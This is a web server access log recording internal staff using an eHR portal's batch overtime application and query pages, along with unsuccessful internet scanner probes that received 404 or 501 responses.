192.168.11.107 - - [04/Sep/2025:16:29:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 168176
192.168.11.107 - - [04/Sep/2025:16:29:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.107 - - [04/Sep/2025:16:29:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.107 - - [04/Sep/2025:16:29:38 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.583574487945981 HTTP/1.1" 200 8592 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.107 - - [04/Sep/2025:16:29:38 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.583574487945981 HTTP/1.1" 200 8592
192.168.11.107 - - [04/Sep/2025:16:29:40 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.583574487945981 HTTP/1.1" 200 23290
192.168.11.107 - - [04/Sep/2025:16:29:40 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.583574487945981 HTTP/1.1" 200 23290 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.583574487945981" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
100.64.0.1 - - [04/Sep/2025:16:30:00 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "Go-http-client/1.1"
100.64.0.1 - - [04/Sep/2025:16:30:00 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232
192.168.11.107 - - [04/Sep/2025:16:29:59 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4066
192.168.11.107 - - [04/Sep/2025:16:29:59 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4066 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.107 - - [04/Sep/2025:16:30:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.107 - - [04/Sep/2025:16:30:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.107 - - [04/Sep/2025:16:30:14 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3027254548116418 HTTP/1.1" 200 8592 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.107 - - [04/Sep/2025:16:30:14 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3027254548116418 HTTP/1.1" 200 8592
192.168.11.107 - - [04/Sep/2025:16:30:17 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3027254548116418 HTTP/1.1" 200 23290 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3027254548116418" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.107 - - [04/Sep/2025:16:30:17 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3027254548116418 HTTP/1.1" 200 23290
192.168.11.107 - - [04/Sep/2025:16:30:46 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4066 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.107 - - [04/Sep/2025:16:30:46 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4066
192.168.11.107 - - [04/Sep/2025:16:30:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.107 - - [04/Sep/2025:16:30:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.107 - - [04/Sep/2025:16:31:05 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9682407730071805 HTTP/1.1" 200 8592 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.107 - - [04/Sep/2025:16:31:05 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9682407730071805 HTTP/1.1" 200 8592
192.168.11.107 - - [04/Sep/2025:16:31:10 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9682407730071805 HTTP/1.1" 200 23290 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9682407730071805" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.107 - - [04/Sep/2025:16:31:10 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9682407730071805 HTTP/1.1" 200 23290
192.168.11.107 - - [04/Sep/2025:16:31:24 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4066 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.107 - - [04/Sep/2025:16:31:24 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4066
192.168.11.107 - - [04/Sep/2025:16:31:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.107 - - [04/Sep/2025:16:31:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.107 - - [04/Sep/2025:16:31:42 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.0914847761325257 HTTP/1.1" 200 8592 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.107 - - [04/Sep/2025:16:31:42 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.0914847761325257 HTTP/1.1" 200 8592
192.168.11.107 - - [04/Sep/2025:16:31:45 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.0914847761325257 HTTP/1.1" 200 23290 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.0914847761325257" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.107 - - [04/Sep/2025:16:31:45 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.0914847761325257 HTTP/1.1" 200 23290
192.168.11.107 - - [04/Sep/2025:16:32:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4270 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.107 - - [04/Sep/2025:16:32:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4270
192.168.11.107 - - [04/Sep/2025:16:32:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.107 - - [04/Sep/2025:16:32:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.107 - - [04/Sep/2025:16:32:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7661 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.107 - - [04/Sep/2025:16:32:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7661
192.168.11.107 - - [04/Sep/2025:16:32:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.107 - - [04/Sep/2025:16:32:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.107 - - [04/Sep/2025:16:32:59 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9722443358900799 HTTP/1.1" 200 8592 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.107 - - [04/Sep/2025:16:32:59 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9722443358900799 HTTP/1.1" 200 8592
192.168.11.107 - - [04/Sep/2025:16:33:02 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9722443358900799 HTTP/1.1" 200 23290 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9722443358900799" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.107 - - [04/Sep/2025:16:33:02 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9722443358900799 HTTP/1.1" 200 23290
192.168.11.107 - - [04/Sep/2025:16:33:41 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4063 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.107 - - [04/Sep/2025:16:33:41 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4063
192.168.11.107 - - [04/Sep/2025:16:33:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.107 - - [04/Sep/2025:16:33:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.107 - - [04/Sep/2025:16:34:13 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6211556328466123 HTTP/1.1" 200 8592 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.107 - - [04/Sep/2025:16:34:13 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6211556328466123 HTTP/1.1" 200 8592
192.168.11.107 - - [04/Sep/2025:16:34:15 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6211556328466123 HTTP/1.1" 200 23290 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6211556328466123" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.107 - - [04/Sep/2025:16:34:15 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6211556328466123 HTTP/1.1" 200 23290
192.168.11.107 - - [04/Sep/2025:16:34:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4067 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.107 - - [04/Sep/2025:16:34:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4067
192.168.11.107 - - [04/Sep/2025:16:34:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7661 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.107 - - [04/Sep/2025:16:34:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7661
192.168.11.107 - - [04/Sep/2025:16:34:39 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 169791 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.107 - - [04/Sep/2025:16:34:39 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 169791
100.64.0.1 - - [04/Sep/2025:16:45:29 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:16:45:29 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:16:47:28 +0800] "GET / HTTP/1.0" 200 439 "-" "-"
100.64.0.1 - - [04/Sep/2025:16:47:28 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [04/Sep/2025:16:47:32 +0800] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/86.0.4240.111Safari/537.36"
100.64.0.1 - - [04/Sep/2025:16:47:32 +0800] "HEAD / HTTP/1.1" 200 -
100.64.0.1 - - [04/Sep/2025:16:47:42 +0800] "\x16\x03\x01\x02" 501 206
100.64.0.1 - - [04/Sep/2025:16:47:42 +0800] "\x16\x03\x01\x02" 501 206 "-" "-"
100.64.0.1 - - [04/Sep/2025:16:47:42 +0800] "\x16\x03\x01\x02" 501 206
100.64.0.1 - - [04/Sep/2025:16:47:42 +0800] "\x16\x03\x01\x02" 501 206 "-" "-"
100.64.0.1 - - [04/Sep/2025:16:50:52 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:16:50:52 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:16:51:33 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:16:51:33 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:16:53:19 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:16:53:19 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:17:05:56 +0800] "GET /manager/text/list HTTP/1.1" 404 215 "-" "Mozilla/5.0 zgrab/0.x"
100.64.0.1 - - [04/Sep/2025:17:05:56 +0800] "GET /manager/text/list HTTP/1.1" 404 215
100.64.0.1 - - [04/Sep/2025:17:10:58 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:17:10:58 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:17:11:44 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:17:11:44 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:17:18:56 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [04/Sep/2025:17:18:56 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [04/Sep/2025:17:18:56 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [04/Sep/2025:17:18:56 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [04/Sep/2025:17:31:08 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:17:31:08 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:17:31:53 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:17:31:53 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:17:37:13 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:17:37:13 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:17:42:34 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:17:42:34 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:18:03:19 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:18:03:19 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:18:07:04 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:18:07:04 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:18:09:54 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:18:09:54 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:18:12:26 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:18:12:26 +0800] "GET / HTTP/1.1" 200 439
192.168.11.35 - - [04/Sep/2025:18:13:41 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.35 - - [04/Sep/2025:18:13:41 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:18:13:42 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.35 - - [04/Sep/2025:18:13:42 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:18:13:47 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:18:13:47 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.35 - - [04/Sep/2025:18:13:52 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.35 - - [04/Sep/2025:18:13:52 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:18:13:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.35 - - [04/Sep/2025:18:13:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:18:14:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:18:14:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.35 - - [04/Sep/2025:18:14:12 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.22685128535952748 HTTP/1.1" 200 8728 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:18:14:12 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.22685128535952748 HTTP/1.1" 200 8728
192.168.11.35 - - [04/Sep/2025:18:14:15 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.22685128535952748 HTTP/1.1" 200 14146
